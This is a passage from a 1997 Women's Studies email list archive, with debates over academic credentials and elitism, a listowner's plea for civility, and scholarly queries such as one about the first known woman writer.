itself, was not > ""scholarly"". No matter that it was the first book in the entire field, > when there was not yet -- and still isn't -- an academic field. > > I feel stymied, because the book in question, and others like it, was > written for parents (not academics, though some academics who are > parents appreciated it), and it has also been used for > classroom teaching. Another thing about this particular book, is that > when it was written, the publisher explicityly requested that it be > written for adults with 6th grade reading level -- considered at the time > as norm in US. While that is a sad commentary on US literacy rates, it > does make the book accessible to a wider reading audience. > > So, the question for me is both what is considered ""scholarly research"", > and by whom?, and what format must it be in to be considered such? > I forget which German intellectual said that the university has replaced the Church in the modern era as the main inculcation institution. What is considered scholarly research is what will serve to maintain an elite in academia as the sole possessors of knowledge, similar to the control clergy had always imposed on knowlege for the maintenance of their power/status. Actually I have not seen much evidence that Women's Studies is in any way an improvement in this respect as other fields. Russell Jacoby has an interesting article ""The decline of American Intellectuals"" in which he reflects about the shift of writers and intellectuals in the 1st half of hte century and their incorporation in academia in the second. ""Joining institutions, they ceased to be marginal, bohemian, or independent. Eventually -- not immediately-- their thinking and concerns reflected their new situations, usually academic communities. As professors, academics no longer wrote for a larger public, but devoted themselves to colleagues and professionals. ... Professionalized, they also became privatized."" This obviously is also reflected in the language used and the war for academic publication as one of the sole measures of competence/""knowledge"". Although he is generalizing and he doesn't address if the same happened to feminist intellectuals in the last 30 years, this shift has had profound implications for the legitimization of certain types of knowledge/experience versus others. I was particularly disgusted in academia about the cultivation of an arrogant mindset regarding who possesses knowledge. Generalizing, of course, I noticed an intense shift from the undergraduate population to the graduate one and then to faculty. But it is already very apparent at the grad student level. there was this paternalistic (no less pervasive in womens studies) ""we can't be wrong, you're just too inferior to know who possesses knowledge in the world"". I remember women/feminist grad students talking about their research subjects in a way that that is very similar to how pimps talk about the women they exploit, an arrogance to use people as they wish, because ""they were the researchers, they knew more than everyone else, they had a thesis to do"". I remember mostly being surrounded by people who were extremely privileged and who hollered day and night about the ways they were oppressed but who were so comfortable with all kinds of inequality and violence they profited from. But most of all, I remember the profound arrogance from people who were so flawed. I imagine medieval clergy to be exactly like that. One of the many contradictions in academia is the professors who teach ""radical"" things, but who usually do it within a reactionary/elitist structure/process. What, in the end, are they teaching? Resistance is futile, you will be assimilated? :) I gained a lot in academia even though I was in institutions which were by the privileged, of the privileged, and for the privileged and that included some very privileged women studies folks. I wish I had had teachers who were less hypocritical and ignorant in that respect, that were more aware of how the privileges they had/have limits their own knowledge and awareness, but it's so very rare to find people like that in academia/womens studies. It makes you think either they don't make it or they don't want to be in such an environment where there is such an attitude problem. So that's some of my ""non-scholarly,"" of course, but very real experience. Vera (fiatlux@umich.edu) p.s. Jackie, sorry for the delay with the poetry feedback, more in october. ========================================================================= Date: Sat, 20 Sep 1997 19:02:47 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Rosa Maria Pegueros (by way of pegueros@uriacc.uri.edu Rosa Maria Pegueros)"" Subject: Credentials and research Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Re: credentials & research On Sat, 20 Sep 1997,""Vera M. Britto"" wrote: >I forget which German intellectual said that the university >has replaced the Church in the modern era as the main inculcation >institution. What is considered scholarly research is what will >serve to maintain an elite in academia as the sole possessors of >knowledge, similar to the control clergy had always imposed >on knowlege for the maintenance of their power/status. Actually I >have not seen much evidence that Women's Studies is in any way an >improvement in this respect as other fields. >snip< If I didn't know better, I'd think I was being insulted ;-Q ========================================================================= Date: Sun, 21 Sep 1997 19:15:43 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Frances E. Wood"" Subject: Re: credentials & research MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Susan Koppleman mentions, ""I know, for instance, that many job posts in women's studies mention the requirement of a degree in women's studies."" As a student obtaining a PhD in women's studies, this gives me hope, if it is true. What constitutes many? The majority? Since when? Are these master's degrees, undergraduate degrees? How are those of you involved in WS hirings weighting the above-mentioned requirement? Susan also mention that the issue of credentials and research excludes a number of pioneers. I want to put in my .02 for another group that is pioneering, though they/we may be conflated into other groups: graduates with PhDs in women's studies. Awarding such degrees is a relatively recent phenomenon, or at least not a widespread one, is it not? That is to say there is no glut of such degreed persons. The majority of professors in WS programs have obtained degrees in other disciplines. Would someone advise whether it continues to be the case that many, if not most, hold their primary appointments in English, History, Soc., Pol.Sci., etc. My understanding of the second most frequent scenario is that of joint appointments. As most folk, until relatively recently would have been unable to obtain PhDs in traditional disciplines without either a)already having a masters in the field, or b) doing masters work as a part of the PhD process, where is this pool of WS PhDs? Not only is this a self-interest question, it also relates to a thread from last academic year re: whether an advisor would recommend her student even *consider* the PhD in WS. Thoughts? Clarifications? Data? Thanks. Frances -- Frances E. Wood Institute for Women's Studies Emory University, Atlanta, GA fwood01@emory.edu I must love the questions themselves as Rilke said like locked rooms full of treasure to which my blind and groping key does not yet fit. ""Reassurance""--Alice Walker ========================================================================= Date: Sat, 20 Sep 1997 20:17:59 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Max Dashu Subject: Re: Argentina - lecture in Spanish on FGM Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" International posts are always welcome. I can't help you with any contacts in S.A., but have a question I wonder if you'd be able to answer. I have read that subincision is/was practiced in eastern Peru, among the Shipibo or Conibo. I've always had the impression that women's status was rather high in these societies. Do you know what subincision is, and whether it involves removal of parts of the vulva or simply frees the clitoris from its hood? I would be grateful if you can shed any light on this. >I will be in Argentina 20 December - 10 January and would be happy to >lecture on the world movement against female genital mutilation in women's >studies classes. Tobe Levin Max Dashu Suppressed Histories Archives email: maxdashu@lanminds.com PO Box 3511 Oakland CA 94609 USA ///SHA, now in its 27th year, focuses on International Women's Studies./// ========================================================================= Date: Sun, 21 Sep 1997 00:41:26 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Punches Subject: FIRST AUTHENTICATED WRITING BY A WOMAN Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit RE: FIRST AUTHENTICATED WRITING BY A WOMAN Help! I have a student who asked me what the first authenticated piece of writing by a woman was. I told her I wasn't sure but that I belonged to a LISTSERVE where someone was bound to know. So far, I'm guessing a short historical fragment attributed to Hatshepshut. But that is only a guess. Does anyone know for sure? Thanks for any help. Please respond privately. Mary Punches marypunches@usa.net ____________________________________________________________________ Get free e-mail and a permanent address at http://www.netaddress.com ========================================================================= Date: Sat, 20 Sep 1997 23:31:35 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Max Dashu Subject: Re: credentials & research Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Re Jacqueline Haessly's post: >So, my question is how do scholars decide ""whose voice counts""?, when one >can decide that only those who cite other experts have appropriate >""credentials""? My own experience is that the voice of those in less >academic settings are often doing the ground-work, making the >connections, that researchers only come to much later. This is a question close to my heart also, as an ""uncredentialed"" researcher who has been toiling in the fields of independent (i.e. unaffiliated) scholarship for nearly 30 years. It's no easy task. In the early 80s, I found it difficult to break into (that is, present my work within) the academic world of Women's Studies, where I was essentially a nobody. With hard work and persistence, I have been able to present my slide talks at scores of colleges and universities, but the majority have been sponsored by campus women's centers, not by the WS depts. The response has always been positive and enthusiastic. (More often than not my hosts express surprise that I don't have a doctorate. Actually, I don't even have a BA.) I feel compelled to point this out because there seems to be an assumption that independents are not grounded in solid research and are all out on some wacky fringe. I know that WS scholars are themselves being accused of being less than ""rigorous,"" and sense a defensive reflex, a fear of being attacked by the conservatives, which is realistic and understandable. (Why take a risk on an unknown who might bring disgrace on us?) It's just that I'm really wondering if WS has become a closed system (for professionals only). I will always warmly remember the sisters at Northwestern University women's center, who supported my work by inviting me back six or seven times. I'm aware of the seige WS is under, and the funding cutbacks. But as hard as conditions may be within academia, I can't underscore enough the difficulty of carving out a path as a historian outside the academy, without salary or grant funding. (In my own case, I work at a typically female job, as caregiver to an elder, to make ends meet while maintaining a somewhat flexible schedule for presentations.) Attending conferences is unthinkable on my budget. So I've been pretty much off the radar screen. But watch for the Suppressed Histories web site: it should be up in late fall, and I'll announce the URL on this list. Thanks to Jacqueline Haessly and Susan Koppelman for their astute remarks calling attention to this issue and for a broader, more inclusive spectrum for WS. By the way, I also think that Teresa Macias makes some excellent points: Sender: Women's Studies List From: Cheryl van Daalen-Smith Subject: anti-oppression training in the workplace ..... Canada Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Thank you to everyone who replied to my previous post. All that information I'm sure will provide great insights into what we're contemplating doing. I do, however, wish to ask if there are any Canadian organizations or persons that anyone is aware of, as this might also provide insights into this work here in Canada. Our health department is north west of Toronto, Ontario, Canada. Thanky you in advance, and enjoy this last day of summer. Cheryl, in Georgetown, Ontario. ========================================================================= Date: Sun, 21 Sep 1997 08:59:41 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: Cafe' WMST-L When I was an undergraduate, I used to hang out at the cafes in Berkeley and San Francisco. They were wonderful places with great coffee, wonderful desserts, and yes, endless cigarettes. Each had its own rhythm: Some were did a brisk business, and others had a slower more contemplative place. We met professors and students, non-students/professors with no visible means of support who just sat all day reading or writing, drinking endless cups of coffee. I remember the Cafe Trieste in North Beach in San Francisco circa 1968: some came to argue, and others to listen; some just came to drink in the atmosphere. With the pace of my work, I can't remember the last time I could just hang out in a cafe. Nowadays, I run in on my way to class, or drag in at the end of a long day. (More often, I just make coffee in my office, in- spite of advice from my doctor that cutting coffee would stop my hot flashes.) Nowadays the cafes are smokeless (thank God), and the coffee, sadly, is not as good. For me, WMST-L serves a kind of cybercafe function--the Cafe at the end of the Universe? I keep in touch with people I know in the biz, some have strong opinions, some offer tentative ones. Some find something to object to at every turn; others never speak up in public but murmur their comments just out of earshot of the group. What we say here doesn't threaten the future of women's studies anymore than the arguments in the cafes of my youth threatened anything. But it does provide stimulation that we might not find anywhere else. I know that I tune into WMST-L every day while the members of our women's studies program only meet once a month. The opinions expressed here should be food for thought--or should I say, cappuchinos for thought? If people say provocative things, can we accept it as characteristic of one of the personalities of our cybercafe? Our conversation here doesn't have to deteriorate into name-calling or demonizing. We can go off and chew on it, and find holes in that person's argument, so when we come back, we will have sharpened our minds in the process of doing so. Some people are deliberately provovative, and others timid. That's just the way life is. There are 4000+ people, mostly women, on this list. MOST of the 4000 never write a word to the list. But people remain as subscribers largely due to the quality of information that is being exchanged, to the lack of flaming and the quality of discussion, and to Joan's firm hand in keeping things from getting out of hand. To me, intellectual discourse means that people can discuss IDEAS with passion and intensity without the recourse to violence that characterizes so much of life. Cyberspace is a strange place; we are just learning how to operate in it. WMST-L is a home to professors and grad students, independent scholars, and others who may just be interested. We seem to have had a rocky start to the fall semester but I hope things calm down as the semester gets going. Rosie ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Sun, 21 Sep 1997 10:30:54 -0400 Reply-To: ""Vera M. Britto"" Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: Credentials and research In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 20 Sep 1997, Rosa Maria Pegueros (by way of pegueros@uriacc.uri.edu Rosa Maria Pegueros) wrote: > Re: credentials & research > > On Sat, 20 Sep 1997,""Vera M. Britto"" wrote: > > > >I forget which German intellectual said that the university > >has replaced the Church in the modern era as the main inculcation > >institution. What is considered scholarly research is what will > >serve to maintain an elite in academia as the sole possessors of > >knowledge, similar to the control clergy had always imposed > >on knowlege for the maintenance of their power/status. Actually I > >have not seen much evidence that Women's Studies is in any way an > >improvement in this respect as other fields. >snip< > > If I didn't know better, I'd think I was being insulted ;-Q > You know your reply brought about so many associations. First, the old civility and tyrants maxim. But then I remembered a course and book specifically written about how the construction of civility was one of the fundamental ideological and social control instruments in maintaining slavery in the South. And then the works about the construction of a lady like ideal (which is always very polite) and control based on gender and class. then there was control of women based on specific precepts of femininity (which is always so polite and never expresses legitimate anger at anything). I also remembered Daisy Zamorra reflecting on power and how many women who after the Sandinista Revolution got into the old boys politics power machine and became so much part of the machine, they forgot (or never remembered) what transforming a hierarchical system is all about. Elites aren't so bad once you're part of them, isn't that true? Expanding on the parallel of patriarchal and academic control, did you notice that if someone writes to the list that they are hurt by inequality in academia/women's studies, it's all very nice, but if someone writes that they are angry, that's impolite? women/subalterns can be hurt but not angry, is that the message? This is very telling about how power dynamics are lodged deep down in people's psyches and being progressive is not as easy as writing about it. I don't know if you realize that there are a variety of people who aren't so collusive/comfortable with academic power structures but don't express themselves publicly like I did because there's a little rope around their necks, and it's good-bye job, possibility for a job, degree, etc., etc., if the kowtowing stops. The result is a strategic, but no less hypocritical coerced politeness (ranging from flattery to silence extremes) which I find problematic most of the time. Now if you took that rope off their necks, they would speak, loud and clear, about their anger, frustration, and disgust with a lot of the rotten stuff in the kingdom of academia. And when ""women"" express their anger at ""men"" aren't they always told they're out of line? Vera (fiatlux@umich.edu) ========================================================================= Date: Sun, 21 Sep 1997 10:49:13 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: credentials... I can make people believe that I am powerful. I have also been known to give the impression that I am tall when I am really only 5'4"". I think it is because I have always believed the words of Eleanor Roosevelt who said that no one can make you feel inferior without your consent. The ""reality"" however, is that I am as assistant professor who does not yet have tenure. I have no particular power over anyone except the 120 undergraduates I teach every semester, and that is my power to help them to think more clearly for themselves. If I could eschew grades, I would do so but the Board of Governors won't let me. So much for power. A little untenured professor at a state university is a person who works in the trenches every day. There is little privilege, no tower made of ivory, and barely enough in the way of comfort to do my job. In the winter, my office is heated with a heater I bought with my own money, and when it is too warm, it is ventilated with the fan I paid for; my paycheck is so slender that I can barely keep my family afloat. Perhaps you should rethink what ""elites"" are and who is in them. And now I am weary of all this yelling going on around me, so I will withdraw to lurker status for a while. As Peg Bracken used to say, ""I didn't come here to argue."" Rosie looking for a quiet cafe' ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Sun, 21 Sep 1997 11:46:48 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: a request from the listowner MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT I'd like to second the very sensible messages sent to the list over the last few days urging both civility and respect for contrarian views. I urge this not because expressions of anger are unladylike or possibly detrimental to someone's position in or out of the academy, but rather because 6 1/2 years of running WMST-L have taught me that the effective functioning of a large international e-mail list requires civility. Yes, some of us might be perfectly happy to exchange flames and insults. But such behavior simply gives rise to more flames and insults. Mail volume soars, forcing many people with limited time, limited disk space, and/or limited funds to sign off, thereby losing the valuable information, discussion, networking, and community that WMST-L provides, and depriving the list of what they can contribute. I do not want to see that happen. Like many other people, I value WMST-L very highly as a professional resource, and I want to see it remain one. It is not a playground, nor a boxing ring, nor a group therapy session. Those looking for playgrounds and the like should consult Gender-Related Electronic Forums (http://www.umbc.edu/wmst/forums.html) or Liszt (http://www.liszt.com) for more suitable forums. Those who continue to wish to slug it out with other WMST-L participants should do so privately or not at all. Debate is welcome on WMST-L, but flames, insults, and self-righteous proclamations (all of which tend to trigger a deluge of mail characterized by more heat than light) are not. I would like to see us move away from some of the topics that have given rise to this message (the ""chicana feminism"" thread and its development into ""credentials and research""). I've found both subject threads interesting, but recently they seem to have exhausted their usefulness. Many thanks for your understanding and cooperation. Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc.edu * * University of Maryland, Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Sun, 21 Sep 1997 12:02:57 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Katherine Side Subject: Re: credentials & research In-Reply-To: <3425D4CF.3FA@Emory.Edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Frances was correct - there was a discussion about this last year on WMST-L, and it can no doubt be retrieved from the archives. If I remember correctly, it did start around the issue of advising a student whether or not to do a Ph.D. in Women's Studies. I had conversations with posters (on list and privately) and many (although not a representative sampling) said they would not, as I remember. Katherine Side kside@acs.ryerson.ca (Ph. D. in Women's Studies, with an appointment to a department of Sociology) On Sun, 21 Sep 1997, Frances E. Wood wrote: > Susan Koppleman mentions, ""I know, for instance, that many job posts in > women's studies mention the requirement of a degree in women's studies."" > As a student obtaining a PhD in women's studies, this gives me hope, if > it is true. What constitutes many? The majority? Since when? Are > these master's degrees, undergraduate degrees? How are those of you > involved in WS hirings weighting the above-mentioned requirement? Susan > also mention that the issue of credentials and research excludes a number > of pioneers. I want to put in my .02 for another group that is > pioneering, though they/we may be conflated into other groups: graduates > with PhDs in women's studies. Awarding such degrees is a relatively > recent phenomenon, or at least not a widespread one, is it not? That > is to say there is no glut of such degreed persons. The majority of > professors in WS programs have obtained degrees in other disciplines. > Would someone advise whether it continues to be the case that many, if > not most, hold their primary appointments in English, History, Soc., > Pol.Sci., etc. My understanding of the second most frequent scenario is > that of joint appointments. As most folk, until relatively recently > would have been unable to obtain PhDs in traditional disciplines without > either a)already having a masters in the field, or b) doing masters work > as a part of the PhD process, where is this pool of WS PhDs? Not only is > this a self-interest question, it also relates to a thread from last > academic year re: whether an advisor would recommend her student even > *consider* the PhD in WS. Thoughts? Clarifications? Data? Thanks. > Frances > -- > Frances E. Wood > Institute for Women's Studies > Emory University, Atlanta, GA > fwood01@emory.edu > I must love the questions > themselves > as Rilke said > like locked rooms > full of treasure > to which my blind > and groping key > does not yet fit. > ""Reassurance""--Alice Walker > ========================================================================= Date: Sun, 21 Sep 1997 12:19:29 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: laura jeanne lefave Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable >RE: FIRST AUTHENTICATED WRITING BY A WOMAN > >Help! I have a student who asked me what the first authenticated piece >of writing by a woman was. I told her I wasn't sure but that I >belonged to a LISTSERVE where someone was bound to know. So far, I'm guess= ing >a short historical fragment attributed to Hatshepshut. But that is only >a guess. Does anyone know for sure? > >Thanks for any help. Please respond privately. > >Mary Punches >marypunches@usa.net > would like to hear to answer to this query on the forum au plaisir, laura jeanne lefave Universit=E9 du Qu=E9bec =E0 Montr=E9al =E9tudiante =E0 la Ma=EEtrise en arts plastiques ljlflux@cam.org http://www.studioxx.org/night_light/transmission/tr_artp4.htm =09 ========================================================================= Date: Sun, 21 Sep 1997 10:43:35 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: MARGARET BARBER Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Mary, Enheduanna, high priestess of the goddess Inanna (predecessor of Astarte, Aphrodite, etc.) in Uruk in Sumer, was the first poet and perhaps even the first writer, whose name we know for sure. The other candidate for ""first named writer"" is her father, King Sargon of Agade, to whom some words recorded in cuneiform on clay tablets have been attributed. I've seen dates ranging from 2750 B.C.E. to 2300 B.C.E. for K. Sargon and Enheduanna. Maybe someone else on the list can be more precise.=20 Her poems, written in first person, are addressed to Inanna. Some of them indicate that followers of a rival god, let by an unsavory character named= =20 Lugalanne, temporarily stripped her of power and caused her to have to flee, and tell of her restoration to her former position. =20 Some of her material is so sexual that it is not often anthologized, 'tis more the pity. =20 Margaret Barber Dept. of English University of Southern Colorado=20 On Sun, 21 Sep 1997, laura jeanne lefave wrote: > >RE: FIRST AUTHENTICATED WRITING BY A WOMAN > > > >Help! I have a student who asked me what the first authenticated piece > >of writing by a woman was. I told her I wasn't sure but that I > >belonged to a LISTSERVE where someone was bound to know. So far, I'm gu= essing > >a short historical fragment attributed to Hatshepshut. But that is only > >a guess. Does anyone know for sure? > > > >Thanks for any help. Please respond privately. > > > >Mary Punches > >marypunches@usa.net > > >=20 > would like to hear to answer to this query on the forum >=20 > au plaisir, >=20 > laura jeanne lefave > Universit=E9 du Qu=E9bec =E0 Montr=E9al > =E9tudiante =E0 la Ma=EEtrise en arts plastiques > ljlflux@cam.org >=20 > http://www.studioxx.org/night_light/transmission/tr_artp4.htm > =09 >=20 ========================================================================= Date: Sun, 21 Sep 1997 12:53:06 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Lu Johnson & Sharon Jacobson Subject: good provider one of my students has stumped me (which happens more often than i would like to admit) and I could use some help -- when did the concept of a Good Provider first come into discusion. I have been able to find references that suggest that as late as 1532 the concept of provider was not yet male sex typed. what i am trying to find out is approximately when was the role of the good provider first sex-typed as male in the literature? Sharon Jacobson and Lu Johnson 16730 Power Line Road Holley, NY 14470 716-638-6174 justakid2@juno.com ========================================================================= Date: Sun, 21 Sep 1997 12:05:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Diana York Blaine Subject: chicana feminism MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The new Routledge Women's Studies catalogue announces a related book on this topic: _Chicana Feminist Thought: The Basic Historical Writings_, eds. Mario Garcia and Alma Garcia. (Hope no one slams me for mentioning a book to which I've not dedicated years of study). Diana York Blaine Acting Editor and Book Review Editor Studies in the Novel University of North Texas dblaine@unt.edu ========================================================================= Date: Sun, 21 Sep 1997 17:43:56 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: hagolem Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable At 10:43 AM 9/21/97 -0600, you wrote: >Mary, > >Enheduanna, high priestess of the goddess Inanna (predecessor of Astarte, >Aphrodite, etc.) in Uruk in Sumer, was the first poet and perhaps even the >first writer, whose name we know for sure. The other candidate for ""first > >> laura jeanne lefave >> Universit=E9 du Qu=E9bec =E0 Montr=E9al Could you give a citation to the list about where to find her poems in translation [don't read Sumerian]. i imagine I am not the only one on the list intrigued by what you tell us. marge piercy hagolem@capecod.net ========================================================================= Date: Sun, 21 Sep 1997 17:48:01 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: JoAnne Myers Subject: CFP: Women & Society Conference In-Reply-To: In reply to your message of Sun, 21 Sep 1997 17:43:56 EDT Please Announce: The 8th Annual WOMEN & SOCIETY Conference to be held June 5-7th 1998 Marist College Poughkeepsie NY is issuing a CALL for Papers. Panels, Workshops & Exhibits The W&S Conference is inter- & multi-disciplinary, focusing on all aspects of gender undergoing examination in the Academy. Please submit 250 word abstract/ completed paper/ panel description/ slides/ etc. by JANUARY 19th 1998 to Dr. J.A.Myers W& S Confernce, Marist College, Poughkeepsie NY 12601 [e-mail submissions are okay if they include snail mail & phone numbers my e-mail address: JZLY@MARISTB.MARIST.EDU ] ========================================================================= Date: Sun, 21 Sep 1997 20:35:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Cindy Bily Subject: info request--women as students I am teaching a one-credit year-long Freshman Honors Colloquium this year for our honors program students. Basically, they read a 10-15-page article each week, meet to dicsuss it, and also discuss it electronically throughout the week. Delightfully, all 12 of the students are bright and earnest women. This semester, I have a full plate of readings about the liberal arts, how different disciplines approach the world, and hgow technology helps or hinders. Since we are a group of women, I'd like to do more gender-specific reading next semester. Can you all suggest short accessible readings about how the education system has served or failed women? I looked at REVIVING OPHELIA with the idea of requiring the whole book as a text, but I think college freshmen feel themselves to be beyond adolescence (all 12 are 18 years old). Something that addresses how higher education serves bright women in different disciplines? Obviously, I don't really know what I'm looking for. If you had a group of 12 women in an honors program in all different majors, what might you give them to read? Thanks for your help. Cindy Bily Adrian College cbily@adrian.edu ========================================================================= Date: Sun, 21 Sep 1997 19:23:32 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: Cafe' WMST-L Comments: To: Rosa Maria Pegueros In-Reply-To: <970921.093746.EDT.PEGUEROS@URIACC.URI.EDU> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Rosa, I am part of a distant learner doctoral program. Learners come together on the Union Bulletin Board from 50 states and large number of other countries. We often refer to the opportunity for excahnge just as you did about your experience with coffee houses and cafes. It's rich, (the coming together to exchange infor, as well as the coffee). And well worth the time we engage together. Just as in those cafe's of yore, we don't all have to agree with everyone or everything that is said there. And more importantly, we can select whose table we will choose to sit at (and hopefully be the ones others also choose to sit at). We each have a role in making this a welcoming atmosphere, as well as a place where ideas (not personalities) can be examined, chewed upon, turned about like a fine gem to discover the multiple aspects. And hopefully, we all grow in the process. Thanks for sharing that image. It is a great one! Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Sun, 21 Sep 1997 19:52:07 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN Comments: To: hagolem In-Reply-To: <2.2.32.19970921214356.00b14878@capecod.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII shortly after the writing we call cuneiform was invented by the Sumerians, and before Sumer became militaristic, this country had male and female scribes. Then, when Sumer became militaristic and a ranking-class system developed, women and men ceased to be egalitarian, and women were ousted as scribes with the development of a system of education which was no longer open to all, but confined to the children of the elites. I believe women were ousted from the educational syustem, and at this time caning and the whip were introduced as punishment for the students who were now male. See my article ""Women in Transition: Crete and Sumer,"" under the name Ruby Rohrlich-Leavitt, in the anthology BECOMING VISIBLE; Women in European History, eds. Renate Bridenthal and Claudia Koonz. Boston: Houghton-Mifflin Co.,1977 ========================================================================= Date: Sun, 21 Sep 1997 19:54:13 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Ruby Rohrlich Subject: Re: FIRST AUTHENTICATED WRITING BY A WOMAN Comments: To: hagolem In-Reply-To: <2.2.32.19970921214356.00b14878@capecod.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Kramer ( I think his first name is Noah) has translated much of the cuneiform literature. Ruby Rohrlich gwis2.circ.gwu.edu ========================================================================= Date: Sun, 21 Sep 1997 22:32:38 -0400 Reply-To: ""Vera M. Britto"" Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: credentials... In-Reply-To: <970921.110624.EDT.PEGUEROS@URIACC.URI.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 21 Sep 1997, Rosa Maria Pegueros wrote: > I can make people believe that I am powerful. I have also been known to > give the impression that I am tall when I am really only 5'4"". I think it > is because I have always believed the words of Eleanor Roosevelt who said > that no one can make you feel inferior without your consent. > > The ""reality"" however, is that I am as assistant professor who does not > yet have tenure. I have no particular power over anyone except the 120 > undergraduates I teach every semester, and that is my power to help them > to think more clearly for themselves. If I could eschew grades, I would do so > but the Board of Governors won't let me. So much for power. > > A little untenured professor at a state university is a person > who works in the trenches every day. There is little privilege, no > tower made of ivory, and barely enough in the way of comfort to do > my job. In the winter, my office is heated with a heater I bought with my own > money, and when it is too warm, it is ventilated with the fan I paid for; > my paycheck is so slender that I can barely keep my family afloat. Perhaps > you should rethink what ""elites"" are and who is in them. > > And now I am weary of all this yelling going on around me, so I will > withdraw to lurker status for a while. As Peg Bracken used to say, > ""I didn't come here to argue."" > > Rosie > looking for a quiet cafe' > > ____________________________________________________________ I've spent my life thinking about the question of elites, Rosie, and I can see so many privileges in the little information you supply that you just seem to take so for granted. You have a job, Rosie, do you not? Has it ever occurred to you that millions of people are denied that privilege? You have a family, right? You don't think that's privileged? You went to school, many, many years? You are teaching, isn't that a privilege? Never noticed that many people are barred from the experience of even stepping into a school? You have access to so much, including the Internet. How many of your children did you watch starve to death? How many years of your life did you spend at a maximum security prison? How many times have you been battered, tortured, and raped? How many years have you been mentally ill as a result of violence? Are you a quadriplegic in a wheel chair, Rosie? There are many types of privilege, and I know of just a couple of billions of people who do not have the privileges you do. And it is sad that you're so oblivious to so many privileges that enshroud people in academia. Yes, you can retire to a little cafe any time someone expresses anger at a structure of privilege in academia. that's a prerogative of elites. Vera Britto (fiatlux@umich.edu - http://www.umich.edu/~fiatlux) ........................................................................... Le Bret: Si tu laissais un peu ton ame mousquetaire, la fortune et la gloire... Cyrano: Et que faudrait-il faire? Chercher un protecteur puissant, prendre un patron, et, comme un lierre obscur que circonvient un tronc et s'en fait un tuteur en lui lechant l'ecorce, grimper par ruse au lieu de s'elever par force? Non, merci! Non, merci! Non, merci! Mais... chanter, rever, rire, passer, etre seul, etre libre... oui. ""Cyrano de Bergerac"" - Edmond Rostand ========================================================================= Date: Sun, 21 Sep 1997 22:49:21 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: a request from the listowner In-Reply-To: <01INWJ0YW2FM0067AC@UMBC2.UMBC.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 21 Sep 1997, Joan Korenman wrote: > I'd like to second the very sensible messages sent to the list > over the last few days urging both civility and respect for contrarian > views. I urge this not because expressions of anger are unladylike or > possibly detrimental to someone's position in or out of the academy, > but rather because 6 1/2 years of running WMST-L have taught me that > the effective functioning of a large international e-mail list > requires civility. > > Yes, some of us might be perfectly happy to exchange flames > and insults. But such behavior simply gives rise to more flames and > insults. Mail volume soars, forcing many people with limited time, > limited disk space, and/or limited funds to sign off, thereby losing > the valuable information, discussion, networking, and community that > WMST-L provides, and depriving the list of what they can contribute. > > I do not want to see that happen. Like many other people, > I value WMST-L very highly as a professional resource, and 